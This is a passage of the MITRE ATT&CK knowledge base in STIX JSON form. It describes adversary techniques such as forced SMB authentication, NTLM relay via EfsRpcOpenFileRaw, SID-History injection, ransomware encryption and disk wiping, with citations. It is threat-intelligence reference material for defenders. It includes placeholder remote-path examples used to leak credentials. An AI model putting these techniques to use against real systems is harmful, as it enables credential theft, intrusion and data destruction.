Injection](https://attack.mitre.org/techniques/T1221)). The document can include, for example, a request similar to <code>file[:]//[remote address]/Normal.dotm</code> to trigger the SMB request.(Citation: US-CERT APT Energy Oct 2017)\n* A modified .LNK or .SCF file with the icon filename pointing to an external reference such as <code>\\\\[remote address]\\pic.png</code> that will force the system to load the resource when the icon is rendered to repeatedly gather credentials.(Citation: US-CERT APT Energy Oct 2017)\n\nAlternatively, by leveraging the <code>EfsRpcOpenFileRaw</code> function, an adversary can send SMB requests to a remote system's MS-EFSRPC interface and force the victim computer to initiate an authentication procedure and share its authentication details. The Encrypting File System Remote Protocol (EFSRPC) is a protocol used in Windows networks for maintenance and management operations on encrypted data that is stored remotely to be accessed over a network. Utilization of <code>EfsRpcOpenFileRaw</code> function in EFSRPC is used to open an encrypted object on the server for backup or restore. Adversaries can collect this data and abuse it as part of a NTLM relay attack to gain access to remote systems on the same internal network.(Citation: Rapid7)(Citation: GitHub)\n\n",
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            "created": "2020-02-18T18:34:49.414Z",
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                    "url": "https://attack.mitre.org/techniques/T1134/005",
                    "external_id": "T1134.005"
                },
                {
                    "source_name": "Microsoft Well Known SIDs Jun 2017",
                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
                },
                {
                    "source_name": "Microsoft SID-History Attribute",
                    "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/ms679833.aspx"
                },
                {
                    "source_name": "Microsoft SID",
                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
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            "name": "SID-History Injection",
            "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
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            "id": "attack-pattern--b8017880-4b1e-42de-ad10-ae7ac6705166",
            "created": "2020-10-19T16:08:29.817Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1599",
                    "external_id": "T1599"
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                {
                    "source_name": "Kaspersky ThreatNeedle Feb 2021",
                    "description": "Vyacheslav Kopeytsev and Seongsu Park. (2021, February 25). Lazarus targets defense industry with ThreatNeedle. Retrieved October 27, 2021.",
                    "url": "https://securelist.com/lazarus-threatneedle/100803/"
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            "name": "Network Boundary Bridging",
            "description": "Adversaries may bridge network boundaries by compromising perimeter network devices or internal devices responsible for network segmentation. Breaching these devices may enable an adversary to bypass restrictions on traffic routing that otherwise separate trusted and untrusted networks.\n\nDevices such as routers and firewalls can be used to create boundaries between trusted and untrusted networks.  They achieve this by restricting traffic types to enforce organizational policy in an attempt to reduce the risk inherent in such connections.  Restriction of traffic can be achieved by prohibiting IP addresses, layer 4 protocol ports, or through deep packet inspection to identify applications.  To participate with the rest of the network, these devices can be directly addressable or transparent, but their mode of operation has no bearing on how the adversary can bypass them when compromised.\n\nWhen an adversary takes control of such a boundary device, they can bypass its policy enforcement to pass normally prohibited traffic across the trust boundary between the two separated networks without hinderance.  By achieving sufficient rights on the device, an adversary can reconfigure the device to allow the traffic they want, allowing them to then further achieve goals such as command and control via [Multi-hop Proxy](https://attack.mitre.org/techniques/T1090/003) or exfiltration of data via [Traffic Duplication](https://attack.mitre.org/techniques/T1020/001). Adversaries may also target internal devices responsible for network segmentation and abuse these in conjunction with [Internal Proxy](https://attack.mitre.org/techniques/T1090/001) to achieve the same goals.(Citation: Kaspersky ThreatNeedle Feb 2021)  In the cases where a border device separates two separate organizations, the adversary can also facilitate lateral movement into new victim environments.",
            "kill_chain_phases": [
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0",
            "created": "2019-03-15T13:59:30.390Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1486",
                    "external_id": "T1486"
                },
                {
                    "source_name": "CarbonBlack Conti July 2020",
                    "description": "Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021.",
                    "url": "https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/"
                },
                {
                    "source_name": "FireEye WannaCry 2017",
                    "description": "Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry Malware Profile. Retrieved March 15, 2019.",
                    "url": "https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html"
                },
                {
                    "source_name": "Rhino S3 Ransomware Part 1",
                    "description": "Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved April 14, 2021.",
                    "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/"
                },
                {
                    "source_name": "Halcyon AWS Ransomware 2025",
                    "description": "Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.",
                    "url": "https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c"
                },
                {
                    "source_name": "Varonis",
                    "description": "Jason Hill. (2023, February 8). VMware ESXi in the Line of Ransomware Fire. Retrieved March 26, 2025.",
                    "url": "https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire"
                },
                {
                    "source_name": "Crowdstrike Hypervisor Jackpotting Pt 2 2021",
                    "description": "Michael Dawson. (2021, August 30). Hypervisor Jackpotting, Part 2: eCrime Actors Increase Targeting of ESXi Servers with Ransomware. Retrieved March 26, 2025.",
                    "url": "https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/"
                },
                {
                    "source_name": "NHS Digital Egregor Nov 2020",
                    "description": "NHS Digital. (2020, November 26). Egregor Ransomware The RaaS successor to Maze. Retrieved December 29, 2020.",
                    "url": "https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary"
                },
                {
                    "source_name": "US-CERT Ransomware 2016",
                    "description": "US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and Recent Variants. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA16-091A"
                },
                {
                    "source_name": "US-CERT NotPetya 2017",
                    "description": "US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA17-181A"
                },
                {
                    "source_name": "US-CERT SamSam 2018",
                    "description": "US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware. Retrieved March 15, 2019.",
                    "url": "https://www.us-cert.gov/ncas/alerts/AA18-337A"
                }
            ],
            "object_marking_refs": [
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            "modified": "2026-05-12T15:12:00.709Z",
            "name": "Data Encrypted for Impact",
            "description": "Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)\n\nIn the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021) \n\nTo maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as \"print bombing\").(Citation: NHS Digital Egregor Nov 2020)(Citation: Varonis)\n\nIn cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) For example, in AWS environments, adversaries may leverage services such as AWS\u2019s Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.(Citation: Halcyon AWS Ransomware 2025)",
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                "Oleg Kolesnikov, Securonix",
                "Mayuresh Dani, Qualys",
                "Harshal Tupsamudre, Qualys",
                "Travis Smith, Qualys",
                "ExtraHop"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "IaaS",
                "Linux",
                "macOS",
                "Windows"
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        },
        {
            "type": "attack-pattern",
            "id": "attack-pattern--b82f7d37-b826-4ec9-9391-8e121c78aed7",
            "created": "2019-03-29T14:59:50.763Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1488",
                    "external_id": "T1488"
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                {
                    "source_name": "Novetta Blockbuster",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.",
                    "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"
                },
                {
                    "source_name": "Novetta Blockbuster Destructive Malware",
                    "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.",
                    "url": "https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf"
                },
                {
                    "source_name": "DOJ Lazarus Sony 2018",
                    "description": "Department of Justice. (2018, September 6). Criminal Complaint - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.",
                    "url": "https://www.justice.gov/opa/press-release/file/1092091/download"
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            "modified": "2025-10-24T17:49:16.677Z",
            "name": "Disk Content Wipe",
            "description": "Adversaries may erase the contents of storage devices on specific systems as well as large numbers of systems in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [Windows Admin Shares](https://attack.mitre.org/techniques/T1077).(Citation: Novetta Blockbuster Destructive Malware)",
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            "created": "2026-04-14T22:53:28.653Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1690",
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                {
                    "source_name": "Google Cloud Threat Intelligence ESXi VIBs 2022",
                    "description": "Alexander Marvi, Jeremy Koppen, Tufail Ahmed, and Jonathan Lepore. (2022, September 29). Bad VIB(E)s Part One: Investigating Novel Malware Persistence Within ESXi Hypervisors. Retrieved March 26, 2025.",
                    "url": "https://cloud.google.com/blog/topics/threat-intelligence/esxi-hypervisors-malware-persistence"
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                {
                    "source_name": "Microsoft about_History prevent command history",
                    "description": "Microsoft. (n.d.). Retrieved April 15, 2026.",
                    "url": "https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7.6&viewFallbackFrom=powershell-7"
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                {
                    "source_name": "Sophos PowerShell Command History Forensics",
                    "description": "Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved November 17, 2024.",
                    "url": "https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics"
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            "name": "Prevent Command History Logging",
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                "Emile Kenning, Sophos",
                "Vikas Singh, Sophos"
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            "created": "2020-02-05T14:54:07.588Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1553",
                    "external_id": "T1553"
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                {
                    "source_name": "SpectorOps Subverting Trust Sept 2017",
                    "description": "Graeber, M. (2017, September). Subverting Trust in Windows. Retrieved January 31, 2018.",
                    "url": "https://specterops.io/assets/resources/SpecterOps_Subverting_Trust_in_Windows.pdf"
                },
                {
                    "source_name": "Securelist Digital Certificates",
                    "description": "Ladikov, A. (2015, January 29). Why You Shouldn\u2019t Completely Trust Files Signed with Digital Certificates. Retrieved March 31, 2016.",
                    "url": "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/"
                },
                {
                    "source_name": "Symantec Digital Certificates",
                    "description": "Shinotsuka, H. (2013, February 22). How Attackers Steal Private Keys from Digital Certificates. Retrieved March 31, 2016.",
                    "url": "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates"
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            "name": "Subvert Trust Controls",
            "description": "Adversaries may undermine security controls that will either warn users of untrusted activity or prevent execution of untrusted programs. Operating systems and security products may contain mechanisms to identify programs or websites as possessing some level of trust. Examples of such features would include a program being allowed to run because it is signed by a valid code signing certificate, a program prompting the user with a warning because it has an attribute set from being downloaded from the Internet, or getting an indication that you are about to connect to an untrusted site.\n\nAdversaries may attempt to subvert these trust mechanisms. The method adversaries use will depend on the specific mechanism they seek to subvert. Adversaries may conduct [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [Modify Registry](https://attack.mitre.org/techniques/T1112) in support of subverting these controls.(Citation: SpectorOps Subverting Trust Sept 2017) Adversaries may also create or steal code signing certificates to acquire trust on target systems.(Citation: Securelist Digital Certificates)(Citation: Symantec Digital Certificates) ",
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            "created": "2020-01-30T14:40:20.187Z",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1548/004",
                    "external_id": "T1548.004"
                },
                {
                    "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
                    "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019.",
                    "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg"
                },
                {
                    "source_name": "Carbon Black Shlayer Feb 2019",
                    "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.",
                    "url": "https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"
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                {
                    "source_name": "Death by 1000 installers; it's all broken!",
                    "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019.",
                    "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8"
                },
                {
                    "source_name": "OSX Coldroot RAT",
                    "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019.",
                    "url": "https://objective-see.com/blog/blog_0x2A.html"
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            "modified": "2026-05-12T15:12:00.709Z",
            "name": "Elevated Execution with Prompt",
            "description": "Adversaries may leverage the <code>AuthorizationExecuteWithPrivileges</code> API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse <code>AuthorizationExecuteWithPrivileges</code> to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
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                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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                "Erika Noerenberg, @gutterchurl, Carbon Black"
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            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--b85f6ce5-81e8-4f36-aff2-3df9d02a9c9d",
            "created": "2020-10-02T16:46:42.537Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1592/003",
                    "external_id": "T1592.003"
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                {
                    "source_name": "ArsTechnica Intel",
                    "description": "Goodin, D. & Salter, J. (2020, August 6). More than 20GB of Intel source code and proprietary data dumped online. Retrieved October 20, 2020.",
                    "url": "https://arstechnica.com/information-technology/2020/08/intel-is-investigating-the-leak-of-20gb-of-its-source-code-and-private-data/"
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            "modified": "2025-10-24T17:49:16.957Z",
            "name": "Firmware",
            "description": "Adversaries may gather information about the victim's host firmware that can be used during targeting. Information about host firmware may include a variety of details such as type and versions on specific hosts, which may be used to infer more information about hosts in the environment (ex: configuration, purpose, age/patch level, etc.).\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about host firmware may only be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices).(Citation: ArsTechnica Intel) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
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                    "phase_name": "reconnaissance"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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        {
            "type": "attack-pattern",
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            "created": "2020-03-16T15:33:01.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1573",
                    "external_id": "T1573"
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                {
                    "source_name": "SANS Decrypting SSL",
                    "description": "Butler, M. (2013, November). Finding Hidden Threats by Decrypting SSL. Retrieved April 5, 2016.",
                    "url": "http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840"
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                {
                    "source_name": "SEI SSL Inspection Risks",
                    "description": "Dormann, W. (2015, March 13). The Risks of SSL Inspection. Retrieved April 5, 2016.",
                    "url": "https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html"
                },
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
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            "modified": "2025-10-24T17:49:17.042Z",
            "name": "Encrypted Channel",
            "description": "Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.",
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            "id": "attack-pattern--b8c5c9dd-a662-479d-9428-ae745872537c",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1174",
                    "external_id": "T1174"
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                {
                    "source_name": "Carnal Ownage Password Filters Sept 2013",
                    "description": "Fuller, R. (2013, September 11). Stealing passwords every time they change. Retrieved November 21, 2017.",
                    "url": "http://carnal0wnage.attackresearch.com/2013/09/stealing-passwords-every-time-they.html"
                },
                {
                    "source_name": "Clymb3r Function Hook Passwords Sept 2013",
                    "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
                    "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
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            "modified": "2025-10-24T17:49:17.124Z",
            "name": "Password Filter DLL",
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                    "description": "Nolen, R. et al.. (2016, April 28). Threat Advisory: \u201cSquiblydoo\u201d Continues Trend of Attackers Using Native OS Tools to \u201cLive off the Land\u201d. Retrieved April 9, 2018.",
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                    "source_name": "ATT ScanBox",
                    "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.",
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                    "description": "Microsoft. (n.d.). Using Netsh. Retrieved February 13, 2017.",
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            "id": "attack-pattern--bb5e59c4-abe7-40c7-8196-e373cb1e5974",
            "created": "2023-09-07T21:50:08.827Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1566/004",
                    "external_id": "T1566.004"
                },
                {
                    "source_name": "CISA Remote Monitoring and Management Software",
                    "description": "CISA. (n.d.). Protecting Against Malicious Use of Remote Monitoring and Management Software. Retrieved February 2, 2023.",
                    "url": "https://www.cisa.gov/uscert/ncas/alerts/aa23-025a"
                },
                {
                    "source_name": "Unit42 Luna Moth",
                    "description": "Kristopher Russo. (n.d.). Luna Moth Callback Phishing Campaign. Retrieved February 2, 2023.",
                    "url": "https://unit42.paloaltonetworks.com/luna-moth-callback-phishing/"
                },
                {
                    "source_name": "sygnia Luna Month",
                    "description": "Oren Biderman, Tomer Lahiyani, Noam Lifshitz, Ori Porag. (n.d.). LUNA MOTH: THE THREAT ACTORS BEHIND RECENT FALSE SUBSCRIPTION SCAMS. Retrieved February 2, 2023.",
                    "url": "https://blog.sygnia.co/luna-moth-false-subscription-scams"
                },
                {
                    "source_name": "Proofpoint Vishing",
                    "description": "Proofpoint. (n.d.). What Is Vishing?. Retrieved September 8, 2023.",
                    "url": "https://www.proofpoint.com/us/threat-reference/vishing"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2026-05-12T15:12:00.711Z",
            "name": "Spearphishing Voice",
            "description": "Adversaries may use voice communications to ultimately gain access to victim systems. Spearphishing voice is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of manipulating a user into providing access to systems through a phone call or other forms of voice communications. Spearphishing frequently involves social engineering techniques, such as posing as a trusted source (ex: [Impersonation](https://attack.mitre.org/techniques/T1684/001)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries are not directly sending malware to a victim vice relying on [User Execution](https://attack.mitre.org/techniques/T1204) for delivery and execution. For example, victims may receive phishing messages that instruct them to call a phone number where they are directed to visit a malicious URL, download malware,(Citation: sygnia Luna Month)(Citation: CISA Remote Monitoring and Management Software) or install adversary-accessible remote management tools ([Remote Access Tools](https://attack.mitre.org/techniques/T1219)) onto their computer.(Citation: Unit42 Luna Moth)\n\nAdversaries may also combine voice phishing with [Multi-Factor Authentication Request Generation](https://attack.mitre.org/techniques/T1621) in order to trick users into divulging MFA credentials or accepting authentication prompts.(Citation: Proofpoint Vishing)",
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                {
                    "kill_chain_name": "mitre-attack",
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--bbc3cba7-84ae-410d-b18b-16750731dfa2",
            "created": "2020-10-01T01:48:15.511Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587/004",
                    "external_id": "T1587.004"
                },
                {
                    "source_name": "Irongeek Sims BSides 2017",
                    "description": "Stephen Sims. (2017, April 30). Microsoft Patch Analysis for Exploitation. Retrieved October 16, 2020.",
                    "url": "https://www.irongeek.com/i.php?page=videos/bsidescharm2017/bsidescharm-2017-t111-microsoft-patch-analysis-for-exploitation-stephen-sims"
                },
                {
                    "source_name": "NYTStuxnet",
                    "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.",
                    "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"
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            ],
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            "modified": "2026-05-12T15:12:00.711Z",
            "name": "Exploits",
            "description": "Adversaries may develop exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than finding/modifying exploits from online or purchasing them from exploit vendors, an adversary may develop their own exploits.(Citation: NYTStuxnet) Adversaries may use information acquired via [Vulnerabilities](https://attack.mitre.org/techniques/T1588/006) to focus exploit development efforts. As part of the exploit development process, adversaries may uncover exploitable vulnerabilities through methods such as fuzzing and patch analysis.(Citation: Irongeek Sims BSides 2017)\n\nAs with legitimate development efforts, different skill sets may be required for developing exploits. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's exploit development capabilities, provided the adversary plays a role in shaping requirements and maintains an initial degree of exclusivity to the exploit.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190), [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203), [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068), [Exploitation for Stealth](https://attack.mitre.org/techniques/T1211), [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212), [Exploitation of Remote Services](https://attack.mitre.org/techniques/T1210), and [Application or System Exploitation](https://attack.mitre.org/techniques/T1499/004)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
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            "x_mitre_deprecated": false,
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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        {
            "type": "attack-pattern",
            "id": "attack-pattern--bbde9781-60aa-4b8a-a911-895b0c1b3872",
            "created": "2026-04-14T22:53:26.949Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1685",
                    "external_id": "T1685"
                },
                {
                    "source_name": "Cocomazzi FIN7 Reboot",
                    "description": "Cocomazzi, Antonio. (2024, July 17). FIN7 Reboot | Cybercrime Gang Enhances Ops with New EDR Bypasses and Automated Attacks. Retrieved September 24, 2025.",
                    "url": "https://www.sentinelone.com/labs/fin7-reboot-cybercrime-gang-enhances-ops-with-new-edr-bypasses-and-automated-attacks/"
                },
                {
                    "source_name": "Microsoft Lamin Sept 2017",
                    "description": "Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.",
                    "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A"
                },
                {
                    "source_name": "ETW Palantir",
                    "description": "Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved April 15, 2026.",
                    "url": "https://blog.palantir.com/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63"
                },
                {
                    "source_name": "SCADAfence_ransomware",
                    "description": "Shaked, O. (2020, January 20). Anatomy of a Targeted Ransomware Attack. Retrieved June 18, 2022.",
